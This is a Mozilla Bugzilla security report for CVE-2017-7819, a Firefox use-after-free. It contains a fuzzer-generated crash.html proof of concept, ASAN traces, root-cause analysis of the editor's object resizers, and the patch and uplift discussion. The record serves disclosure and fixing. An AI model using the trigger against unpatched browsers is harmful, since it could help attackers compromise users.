Bug 1380292 (CVE-2017-7819)

heap-use-after-free in ~nsStyleContext, nsFrameManager::CaptureFrameState etc

RESOLVED FIXED in Firefox -esr52

Status

()

Core
Editor
RESOLVED FIXED
8 months ago
21 days ago

People

(Reporter: Nils, Assigned: m_kato)

Tracking

({csectype-uaf, sec-high})

56 Branch
mozilla57
csectype-uaf, sec-high
Points:
---
Bug Flags:
sec-bounty +
qe-verify +

Firefox Tracking Flags

(firefox-esr5256+ fixed, firefox55 wontfix, firefox56+ fixed, firefox57+ fixed)

Details

(Whiteboard: [adv-main56+][adv-esr52.4+][post-critsmash-triage])

Attachments

(9 attachments)

(Reporter)

Description

8 months ago
Created attachment 8885672 [details]
crash.html

The following testcase crashes the latest ASAN build of Firefox (BuildID=20170711160010). The attached crash.html, crash.xml and crash.xsl have to be served from an HTTP server.

crash.html:
<script>
function spin() {
        var x=new XMLHttpRequest();
        x.open("POST","https://mozilla.org",false);
        try{x.send("X");}catch(e){}
}
function start() {
	o0=document.createElement('iframe');
	o0.src='crash.xml';
	document.body.appendChild(o0);
	o1=document.createElement('iframe');
	o1.src='data:text/html,<div>';
	o0.addEventListener('load', fun0,false);
	document.body.appendChild(o1);
	o2=window.document;
}
function fun0() {
	o4=o1.contentWindow;
	o4.onresize=fun1;
	o16=o0.contentWindow;
	o17=o0.contentDocument;
	tmp=o17.getElementsByTagName('*');
	o18=tmp[0];
	o28=tmp[4];
	o62=o17.createRange();
	o17.designMode='on';
	document.documentElement.appendChild(o18);
	o95=o16.getSelection();
	o95.addRange(o62);
	o1.setAttribute('height','-9px');
	o213=document.createElement('style');
	o62.selectNodeContents(o28);
	document.documentElement.style.transform='scale(100)';
	o2.designMode='on';
	document.documentElement.appendChild(o213);
	o1.setAttribute('height','-9px');
	spin();
	o95.modify('extend', 'forward','lineboundary');
}
function fun1() {
	o268=document.createElement('iframe');
	o268.addEventListener('load', fun2,false);
	o213.appendChild(o268);
}
function fun2() {
	document.body.appendChild(o0);
	o0.appendChild(o1);
	fuzzPriv.GC();fuzzPriv.CC();fuzzPriv.GC();fuzzPriv.CC();
	location.reload();
}
</script>
<body onload="start()"></body>

ASAN output:
=================================================================
==6893==ERROR: AddressSanitizer: heap-use-after-free on address 0x625000380ce8 at pc 0x7efbe71a2dc0 bp 0x7fffb2c01f30 sp 0x7fffb2c01f28
READ of size 8 at 0x625000380ce8 thread T0 (Web Content)
    #0 0x7efbe71a2dbf in GetStateBits /home/worker/workspace/build/src/layout/generic/nsIFrame.h:1997:46
    #1 0x7efbe71a2dbf in nsFrameManager::CaptureFrameState(nsIFrame*, nsILayoutHistoryState*) /home/worker/workspace/build/src/layout/base/nsFrameManager.cpp:497
    #2 0x7efbe71a2b7c in nsFrameManager::CaptureFrameState(nsIFrame*, nsILayoutHistoryState*) /home/worker/workspace/build/src/layout/base/nsFrameManager.cpp:504:7
    #3 0x7efbe71a2b7c in nsFrameManager::CaptureFrameState(nsIFrame*, nsILayoutHistoryState*) /home/worker/workspace/build/src/layout/base/nsFrameManager.cpp:504:7
    #4 0x7efbe71a2b7c in nsFrameManager::CaptureFrameState(nsIFrame*, nsILayoutHistoryState*) /home/worker/workspace/build/src/layout/base/nsFrameManager.cpp:504:7
    #5 0x7efbe71a2b7c in nsFrameManager::CaptureFrameState(nsIFrame*, nsILayoutHistoryState*) /home/worker/workspace/build/src/layout/base/nsFrameManager.cpp:504:7
    #6 0x7efbe71a2b7c in nsFrameManager::CaptureFrameState(nsIFrame*, nsILayoutHistoryState*) /home/worker/workspace/build/src/layout/base/nsFrameManager.cpp:504:7
    #7 0x7efbe70ea933 in mozilla::PresShell::CaptureHistoryState(nsILayoutHistoryState**) /home/worker/workspace/build/src/layout/base/PresShell.cpp:3876:22
    #8 0x7efbea114525 in nsDocShell::PersistLayoutHistoryState() /home/worker/workspace/build/src/docshell/base/nsDocShell.cpp:12768:19
    #9 0x7efbea1216fb in nsDocShell::Embed(nsIContentViewer*, char const*, nsISupports*) /home/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7315:3
    #10 0x7efbea0b9521 in nsDocShell::CreateContentViewer(nsACString const&, nsIRequest*, nsIStreamListener**) /home/worker/workspace/build/src/docshell/base/nsDocShell.cpp:9297:3
    #11 0x7efbea0b742e in nsDSURIContentListener::DoContent(nsACString const&, bool, nsIRequest*, nsIStreamListener**, bool*) /home/worker/workspace/build/src/docshell/base/nsDSURIContentListener.cpp:114:21
    #12 0x7efbe1f33397 in nsDocumentOpenInfo::TryContentListener(nsIURIContentListener*, nsIChannel*) /home/worker/workspace/build/src/uriloader/base/nsURILoader.cpp:756:28
    #13 0x7efbe1f304cc in nsDocumentOpenInfo::DispatchContent(nsIRequest*, nsISupports*) /home/worker/workspace/build/src/uriloader/base/nsURILoader.cpp:434:30
    #14 0x7efbe1f2ec40 in nsDocumentOpenInfo::OnStartRequest(nsIRequest*, nsISupports*) /home/worker/workspace/build/src/uriloader/base/nsURILoader.cpp:296:8
    #15 0x7efbe0dd5ae6 in mozilla::net::HttpChannelChild::DoOnStartRequest(nsIRequest*, nsISupports*) /home/worker/workspace/build/src/netwerk/protocol/http/HttpChannelChild.cpp:662:28
    #16 0x7efbe0de168c in mozilla::net::HttpChannelChild::OnStartRequest(nsresult const&, mozilla::net::nsHttpResponseHead const&, bool const&, mozilla::net::nsHttpHeaderArray const&, bool const&, bool const&, int const&, unsigned int const&, unsigned int const&, nsCString const&, nsCString const&, mozilla::net::NetAddr const&, mozilla::net::NetAddr const&, unsigned int const&, nsCString const&, long const&) /home/worker/workspace/build/src/netwerk/protocol/http/HttpChannelChild.cpp:593:3
    #17 0x7efbe0ebbb0c in mozilla::net::StartRequestEvent::Run() /home/worker/workspace/build/src/netwerk/protocol/http/HttpChannelChild.cpp:425:13
    #18 0x7efbe0cba127 in mozilla::net::ChannelEventQueue::RunOrEnqueue(mozilla::net::ChannelEvent*, bool) /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/net/ChannelEventQueue.h:215:10
    #19 0x7efbe0de06a0 in mozilla::net::HttpChannelChild::RecvOnStartRequest(nsresult const&, mozilla::net::nsHttpResponseHead const&, bool const&, mozilla::net::nsHttpHeaderArray const&, bool const&, bool const&, int const&, unsigned int const&, unsigned int const&, nsCString const&, nsCString const&, mozilla::net::NetAddr const&, mozilla::net::NetAddr const&, short const&, unsigned int const&, nsCString const&, long const&) /home/worker/workspace/build/src/netwerk/protocol/http/HttpChannelChild.cpp:482:12
    #20 0x7efbe13f4576 in mozilla::net::PHttpChannelChild::OnMessageReceived(IPC::Message const&) /home/worker/workspace/build/src/obj-firefox/ipc/ipdl/PHttpChannelChild.cpp:637:20
    #21 0x7efbe19f4c5d in mozilla::dom::PContentChild::OnMessageReceived(IPC::Message const&) /home/worker/workspace/build/src/obj-firefox/ipc/ipdl/PContentChild.cpp:5296:28
    #22 0x7efbe123018e in mozilla::ipc::MessageChannel::DispatchAsyncMessage(IPC::Message const&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:2093:25
    #23 0x7efbe122d2d4 in mozilla::ipc::MessageChannel::DispatchMessage(IPC::Message&&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:2019:17
    #24 0x7efbe122ebb4 in mozilla::ipc::MessageChannel::RunMessage(mozilla::ipc::MessageChannel::MessageTask&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1888:5
    #25 0x7efbe122f198 in mozilla::ipc::MessageChannel::MessageTask::Run() /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1921:15
    #26 0x7efbe03f2490 in mozilla::SchedulerGroup::Runnable::Run() /home/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:367:25
    #27 0x7efbe041f875 in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1437:14
    #28 0x7efbe0425aa8 in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:489:10
    #29 0x7efbe1237e36 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:125:5
    #30 0x7efbe11940e0 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:320:10
    #31 0x7efbe11940e0 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:313
    #32 0x7efbe11940e0 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:293
    #33 0x7efbe69c237f in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:156:27
    #34 0x7efbeac50817 in XRE_RunAppShell() /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:895:22
    #35 0x7efbe11940e0 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:320:10
    #36 0x7efbe11940e0 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:313
    #37 0x7efbe11940e0 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:293
    #38 0x7efbeac5027d in XRE_InitChildProcess(int, char**, XREChildData const*) /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:711:34
    #39 0x4eb813 in content_process_main /home/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:64:30
    #40 0x4eb813 in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:286
    #41 0x7efbfd7d882f in __libc_start_main /build/glibc-bfm8X4/glibc-2.23/csu/../csu/libc-start.c:291
    #42 0x41d168 in _start (/home/nils/fuzzer3/firefox/firefox+0x41d168)

0x625000380ce8 is located 7144 bytes inside of 8192-byte region [0x62500037f100,0x625000381100)
freed by thread T0 (Web Content) here:
    #0 0x4bb69b in __interceptor_free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:47:3
    #1 0x7efbe7238d10 in Clear /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/ArenaAllocator.h:98:7
    #2 0x7efbe7238d10 in ~ArenaAllocator /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/ArenaAllocator.h:61
    #3 0x7efbe7238d10 in nsPresArena::~nsPresArena() /home/worker/workspace/build/src/layout/base/nsPresArena.cpp:42
    #4 0x7efbe70cdb43 in nsIPresShell::~nsIPresShell() /home/worker/workspace/build/src/obj-firefox/dist/include/nsIPresShell.h:178:7
    #5 0x7efbe70cdc7d in mozilla::PresShell::~PresShell() /home/worker/workspace/build/src/layout/base/PresShell.cpp:900:1
    #6 0x7efbe70c93ef in Release /home/worker/workspace/build/src/layout/base/PresShell.cpp:894:1
    #7 0x7efbe70c93ef in non-virtual thunk to mozilla::PresShell::Release() /home/worker/workspace/build/src/layout/base/PresShell.cpp:894
    #8 0x7efbe6ab9425 in ~nsCOMPtr_base /home/worker/workspace/build/src/obj-firefox/dist/include/nsCOMPtr.h:294:7
    #9 0x7efbe6ab9425 in nsTextServicesDocument::~nsTextServicesDocument() /home/worker/workspace/build/src/editor/txtsvc/nsTextServicesDocument.cpp:96
    #10 0x7efbe6ab981d in nsTextServicesDocument::~nsTextServicesDocument() /home/worker/workspace/build/src/editor/txtsvc/nsTextServicesDocument.cpp:94:1
    #11 0x7efbe02bbc47 in SnowWhiteKiller::~SnowWhiteKiller() /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2661:25
    #12 0x7efbe02c5dd4 in FreeSnowWhite /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2849:3
    #13 0x7efbe02c5dd4 in nsCycleCollector_doDeferredDeletion() /home/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:4187
    #14 0x7efbe1cf0e13 in AsyncFreeSnowWhite::Run() /home/worker/workspace/build/src/js/xpconnect/src/XPCJSRuntime.cpp:126:34
    #15 0x7efbe0434a7f in IdleRunnableWrapper::Run() /home/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:313:22
    #16 0x7efbe041f875 in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1437:14
    #17 0x7efbe0425aa8 in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:489:10
    #18 0x7efbe1237e41 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:97:21
    #19 0x7efbe11940e0 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:320:10
    #20 0x7efbe11940e0 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:313
    #21 0x7efbe11940e0 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:293
    #22 0x7efbe69c237f in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:156:27
    #23 0x7efbeac50817 in XRE_RunAppShell() /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:895:22
    #24 0x7efbe11940e0 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:320:10
    #25 0x7efbe11940e0 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:313
    #26 0x7efbe11940e0 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:293
    #27 0x7efbeac5027d in XRE_InitChildProcess(int, char**, XREChildData const*) /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:711:34
    #28 0x4eb813 in content_process_main /home/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:64:30
    #29 0x4eb813 in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:286
    #30 0x7efbfd7d882f in __libc_start_main /build/glibc-bfm8X4/glibc-2.23/csu/../csu/libc-start.c:291

previously allocated by thread T0 (Web Content) here:
    #0 0x4bb9ec in malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:64:3
    #1 0x7efbe03d6fdf in AllocateChunk /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/ArenaAllocator.h:179:15
    #2 0x7efbe03d6fdf in InternalAllocate /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/ArenaAllocator.h:214
    #3 0x7efbe03d6fdf in Allocate /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/ArenaAllocator.h:72
    #4 0x7efbe03d6fdf in mozilla::ArenaAllocator<8192ul, 8ul>::Allocate(unsigned long) /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/ArenaAllocator.h:77
    #5 0x7efbe6f53430 in AllocateByObjectID /home/worker/workspace/build/src/layout/base/nsPresArena.h:51:12
    #6 0x7efbe6f53430 in AllocateByObjectID /home/worker/workspace/build/src/obj-firefox/dist/include/nsIPresShell.h:237
    #7 0x7efbe6f53430 in operator new /home/worker/workspace/build/src/layout/style/nsRuleNode.cpp:1788
    #8 0x7efbe6f53430 in nsRuleNode::Transition(nsIStyleRule*, mozilla::SheetType, bool) /home/worker/workspace/build/src/layout/style/nsRuleNode.cpp:1900
    #9 0x7efbe6e89e1d in DoForward /home/worker/workspace/build/src/layout/style/nsRuleWalker.h:31:26
    #10 0x7efbe6e89e1d in Forward /home/worker/workspace/build/src/layout/style/nsRuleWalker.h:42
    #11 0x7efbe6e89e1d in ContentEnumFunc(RuleValue const&, nsCSSSelector*, ElementDependentRuleProcessorData*, NodeMatchContext&, AncestorFilter*) /home/worker/workspace/build/src/layout/style/nsCSSRuleProcessor.cpp:2606
    #12 0x7efbe6e8946a in RuleHash::EnumerateAllRules(mozilla::dom::Element*, ElementDependentRuleProcessorData*, NodeMatchContext&) /home/worker/workspace/build/src/layout/style/nsCSSRuleProcessor.cpp:697:7
    #13 0x7efbe6e94a1f in nsCSSRuleProcessor::RulesMatching(ElementRuleProcessorData*) /home/worker/workspace/build/src/layout/style/nsCSSRuleProcessor.cpp:2620:24
    #14 0x7efbe6fe584c in bool EnumRulesMatching<ElementRuleProcessorData>(nsIStyleRuleProcessor*, void*) /home/worker/workspace/build/src/layout/style/nsStyleSet.cpp:795:15
    #15 0x7efbe6fe285d in nsStyleSet::FileRules(bool (*)(nsIStyleRuleProcessor*, void*), RuleProcessorData*, mozilla::dom::Element*, nsRuleWalker*) /home/worker/workspace/build/src/layout/style/nsStyleSet.cpp:1121:5
    #16 0x7efbe6fe545e in nsStyleSet::ResolveStyleForInternal(mozilla::dom::Element*, nsStyleContext*, TreeMatchContext&, nsStyleSet::AnimationFlag) /home/worker/workspace/build/src/layout/style/nsStyleSet.cpp:1353:3
    #17 0x7efbe6fe5050 in nsStyleSet::ResolveStyleFor(mozilla::dom::Element*, nsStyleContext*, TreeMatchContext&) /home/worker/workspace/build/src/layout/style/nsStyleSet.cpp:1389:10
    #18 0x7efbe70ae366 in mozilla::ElementRestyler::RestyleSelf(nsIFrame*, nsRestyleHint, unsigned int*, nsTArray<mozilla::ElementRestyler::SwapInstruction>&) /home/worker/workspace/build/src/layout/base/GeckoRestyleManager.cpp:2545:32
    #19 0x7efbe70a9c92 in mozilla::ElementRestyler::Restyle(nsRestyleHint) /home/worker/workspace/build/src/layout/base/GeckoRestyleManager.cpp:1795:7
    #20 0x7efbe70b5ceb in mozilla::ElementRestyler::ComputeStyleChangeFor(nsIFrame*, nsStyleChangeList*, nsChangeHint, mozilla::RestyleTracker&, nsRestyleHint, mozilla::RestyleHintData const&, nsTArray<mozilla::ElementRestyler::ContextToClear>&, nsTArray<RefPtr<nsStyleContext> >&) /home/worker/workspace/build/src/layout/base/GeckoRestyleManager.cpp:3063:16
    #21 0x7efbe709ff62 in mozilla::GeckoRestyleManager::ComputeAndProcessStyleChange(nsIFrame*, nsChangeHint, mozilla::RestyleTracker&, nsRestyleHint, mozilla::RestyleHintData const&) /home/worker/workspace/build/src/layout/base/GeckoRestyleManager.cpp:3474:3
    #22 0x7efbe709f4be in mozilla::GeckoRestyleManager::RestyleElement(mozilla::dom::Element*, nsIFrame*, nsChangeHint, mozilla::RestyleTracker&, nsRestyleHint, mozilla::RestyleHintData const&) /home/worker/workspace/build/src/layout/base/GeckoRestyleManager.cpp:151:5
    #23 0x7efbe7127dff in ProcessOneRestyle /home/worker/workspace/build/src/layout/base/RestyleTracker.cpp:94:22
    #24 0x7efbe7127dff in mozilla::RestyleTracker::DoProcessRestyles() /home/worker/workspace/build/src/layout/base/RestyleTracker.cpp:255
    #25 0x7efbe70a3906 in ProcessRestyles /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/GeckoRestyleManager.h:371:23
    #26 0x7efbe70a3906 in mozilla::GeckoRestyleManager::ProcessPendingRestyles() /home/worker/workspace/build/src/layout/base/GeckoRestyleManager.cpp:502
    #27 0x7efbe70ecf7e in ProcessPendingRestyles /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RestyleManagerInlines.h:44:3
    #28 0x7efbe70ecf7e in mozilla::PresShell::DoFlushPendingNotifications(mozilla::ChangesToFlush) /home/worker/workspace/build/src/layout/base/PresShell.cpp:4193
    #29 0x7efbe70dba12 in mozilla::PresShell::DidDoReflow(bool) /home/worker/workspace/build/src/layout/base/PresShell.cpp:9164:3
    #30 0x7efbe70ee2a8 in mozilla::PresShell::ProcessReflowCommands(bool) /home/worker/workspace/build/src/layout/base/PresShell.cpp:9521:7
    #31 0x7efbe70ed154 in mozilla::PresShell::DoFlushPendingNotifications(mozilla::ChangesToFlush) /home/worker/workspace/build/src/layout/base/PresShell.cpp:4230:11
    #32 0x7efbe71c4521 in FlushPendingNotifications /home/worker/workspace/build/src/obj-firefox/dist/include/nsIPresShell.h:578:5
    #33 0x7efbe71c4521 in nsDocumentViewer::LoadComplete(nsresult) /home/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:1033
    #34 0x7efbea1292aa in nsDocShell::EndPageLoad(nsIWebProgress*, nsIChannel*, nsresult) /home/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7698:21
    #35 0x7efbea1252b0 in nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /home/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7496:7
    #36 0x7efbea12ca3f in non-virtual thunk to nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /home/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7393:13
    #37 0x7efbe1f267e2 in nsDocLoader::DoFireOnStateChange(nsIWebProgress*, nsIRequest*, int&, nsresult) /home/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:1299:3
    #38 0x7efbe1f257dc in nsDocLoader::doStopDocumentLoad(nsIRequest*, nsresult) /home/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:860:14
    #39 0x7efbe1f225d8 in nsDocLoader::DocLoaderIsEmpty(bool) /home/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:749:9
    #40 0x7efbe1f244ef in nsDocLoader::OnStopRequest(nsIRequest*, nsISupports*, nsresult) /home/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:631:5
    #41 0x7efbe1f2521c in non-virtual thunk to nsDocLoader::OnStopRequest(nsIRequest*, nsISupports*, nsresult) /home/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:487:14

SUMMARY: AddressSanitizer: heap-use-after-free /home/worker/workspace/build/src/layout/generic/nsIFrame.h:1997:46 in GetStateBits
Shadow bytes around the buggy address:
  0x0c4a80068140: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c4a80068150: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c4a80068160: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c4a80068170: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c4a80068180: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c4a80068190: fd fd fd fd fd fd fd fd fd fd fd fd fd[fd]fd fd
  0x0c4a800681a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c4a800681b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c4a800681c0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c4a800681d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c4a800681e0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==6893==ABORTING
(Reporter)

Comment 1

8 months ago
Created attachment 8885673 [details]
crash.xml
(Reporter)

Comment 2

8 months ago
Created attachment 8885674 [details]
crash.xsl
(Reporter)

Comment 3

8 months ago
Created attachment 8885675 [details]
ASAN output
Group: core-security → layout-core-security
Jet: who should look at this one?
Flags: needinfo?(bugs)
Keywords: csectype-uaf, sec-high

Updated

7 months ago
Flags: needinfo?(bugs)
Kato-san, do you mind taking a look at this?
Flags: needinfo?(m_kato)
(Assignee)

Comment 6

7 months ago
I am looking...
Flags: needinfo?(m_kato)
(Assignee)

Updated

7 months ago
Assignee: nobody → m_kato
(Assignee)

Comment 7

7 months ago
Although I create ASAN build on my local machine with domFuzz addon, I cannot reproduce this crash.   Nils, could we reproduce this on locale machine?
Flags: needinfo?(nils)
(Reporter)

Comment 8

6 months ago
It looks like some things changes since I reported this:

Firefox now blocks cross origin access to data: urls which is easy to fix by creating a html file with the same content and using the filename instead of the data: url.

However it also looks like the events are firing differently compared to the Firefox version during the time of reporting this issue.

I currently can't reproduce the issue with the latest ASAN build.
Flags: needinfo?(nils)

Comment 9

6 months ago
I'm still getting an error in an up-to-date build, even after replacing
the data: URL as suggested in comment 8:
SecurityError: Permission denied to access property "onresize" on cross-origin object crash.html:19

It seems to be a fairly recent change that caused that (last few weeks).
Created attachment 8903929 [details]
stack for !HasSameRoot in Collapse

It's not the above cross-origin failure that "fixed" this though,
it's bug 1359397.  Specifically, this check that it added:
http://searchfox.org/mozilla-central/rev/2aa0806c598ec433e431728f5ddd3a6847c1a417/dom/base/Selection.cpp#2572-2575
Revision 0bda6393453e is the first that doesn't crash, but with
that check commented out it crashes (until the cross-origin
check that breaks the testcase I presume, but I haven't
investigated which revision that is).

This makes sense because the test does etc:
        o17.designMode='on';
        document.documentElement.appendChild(o18);
        o95=o16.getSelection();
        o95.addRange(o62);
        ...
so somehow we end up with a node inside a selected range that
belongs to a different document, and this seems to be the root
cause of the crash.

The Collapse call where the above check fails comes from Editor code.
Here's the stack.
Created attachment 8903930 [details]
crash stack

This is the crash stack I get most of the time in Linux64 Asan builds
before bug 1359397.

I debugged this in 'rr' and it seems that we have a nsStyleContext
in the nsFrameManagerBase::UndisplayedMap that actually belongs to
(allocated in) a different shell.  That shell is then destroyed and
later we get a user-after-free in the shell that holds the last
reference in its UndisplayedMap.  (it shouldn't have been added
there in the first place obviously)
Created attachment 8904059 [details]
stack - bad GeckoStyleContext::mParent

The UAF style context is held by GeckoStyleContext::mParent.
Here's the stack when we create situation.
We have a pending style change for a <span> that we flush, but its
content parent has a frame in a different shell.
Seeing that we have HTMLEditor::ShowResizers on the stack I'm
guessing the <span> is part of those resizers.
I suspect the root cause is in editor code in handling its resizers.
Component: Layout → Editor
Summary: heap-use-after-free in nsFrameManager::CaptureFrameState → heap-use-after-free in ~nsStyleContext, nsFrameManager::CaptureFrameState etc
We might want to uplift bug 1359397 to branches as a wallpaper fix
until this bug is fully analyzed and fixed, which may take a while.
Kato-san, were you going to ask Mats to look into this?
(Assignee)

Comment 16

6 months ago
HTMLEditor::ShowResizers doesn't check that parameter's element is into current edit root...
(Assignee)

Comment 18

6 months ago
Created attachment 8905753 [details] [diff] [review]
Don't turn on object resizer, inline table editor and etc when element isn't into editor
(Assignee)

Comment 19

6 months ago
Comment on attachment 8905753 [details] [diff] [review]
Don't turn on object resizer, inline table editor and etc when element isn't into editor

Object resizer, grabber and inline table editor don't check whether target element is into editor root / current document.  So we can add anonymous nodes to non-editable element.  So when target element isn't on current document, at finally this use-after-free (using old destroyed PresShell) occurs when current focus node isn't same document.

But, by bug 1359397, we only accept that setting focus is same root.  So to reproduce this problem is too hard since focus node becomes into same document.   But for more safety, we should reject that target element for object resizer isn't into editor root.
Attachment #8905753 - Flags: review?(masayuki)
(Assignee)

Updated

6 months ago
status-firefox56: --- → affected
status-firefox-esr52: --- → affected
(Assignee)

Updated

6 months ago
status-firefox55: --- → affected
(Assignee)

Updated

6 months ago
status-firefox57: --- → affected
> But, by bug 1359397, we only accept that setting focus is same root.  So to reproduce this problem is too hard since
> focus node becomes into same document.

I guess that it's possible to select a range in a document, retrieve it with Selection.getRageAt(), then, modify the range with different document's elements.
Attachment #8905753 - Flags: review?(masayuki) → review+
(Assignee)

Comment 21

6 months ago
Comment on attachment 8905753 [details] [diff] [review]
Don't turn on object resizer, inline table editor and etc when element isn't into editor

[Security approval request comment]
How easily could an exploit be constructed based on the patch?
To create exploit, attacker has to get PresShell address of focus node.

contenteditable supports object resizer mode when current focus is <img> element etc.  Even if focus node isn't into editable root, it uses object resizer mode.  In this situation, object resizer mode adds some anonymous nodes using different document / PresShell.  So that anonymous nodes can/will be reference old (destroyed) PresShell, so it causes use-after-free at finally.

Also, by bug 1359397 (landed in 57), this won't occur in most situations, not all.  Because setting focus node must be same root/document.

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?
Yes.

Which older supported branches are affected by this flaw?
Yes, this occurs even if ESR52.

If not all supported branches, which bug introduced the flaw?
N/A

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?
Yes, but rebase is required.

How likely is this patch to cause regressions; how much testing does it need?
When setting focus to <img> element into contenteditable (ex. <div contenteditable>ABC<img src="...">DEF</div>), editor might not switch to object resizer mode if there is a regression.
Attachment #8905753 - Flags: sec-approval?
(Assignee)

Comment 22

6 months ago
Created attachment 8905794 [details] [diff] [review]
for ESR52/beta
(Assignee)

Updated

6 months ago
Attachment #8905794 - Attachment description: for ESR52 → for ESR52/beta
sec-approval+ for trunk.
I'll mark your beta and ESR52 patches for nomination (which you should do in the future if you want someone to approve them for those branches).
status-firefox55: affected → wontfix
tracking-firefox56: --- → +
tracking-firefox57: --- → +
tracking-firefox-esr52: --- → 56+
Attachment #8905753 - Flags: sec-approval? → sec-approval+
Comment on attachment 8905794 [details] [diff] [review]
for ESR52/beta

Approving for Beta and nominating for ESR52.
Attachment #8905794 - Flags: approval-mozilla-esr52?
Attachment #8905794 - Flags: approval-mozilla-beta+
https://hg.mozilla.org/mozilla-central/rev/c5cb3aad36f8
Status: NEW → RESOLVED
Last Resolved: 6 months ago
status-firefox57: affected → fixed
Resolution: --- → FIXED
Target Milestone: --- → mozilla57
Group: layout-core-security → core-security-release
Comment on attachment 8905794 [details] [diff] [review]
for ESR52/beta

sec-high, uaf, esr52.4+
Attachment #8905794 - Flags: approval-mozilla-esr52? → approval-mozilla-esr52+

Comment 29

6 months ago
uplift
https://hg.mozilla.org/releases/mozilla-esr52/rev/1a02f11c6efe
status-firefox-esr52: affected → fixed
Alias: CVE-2017-7819
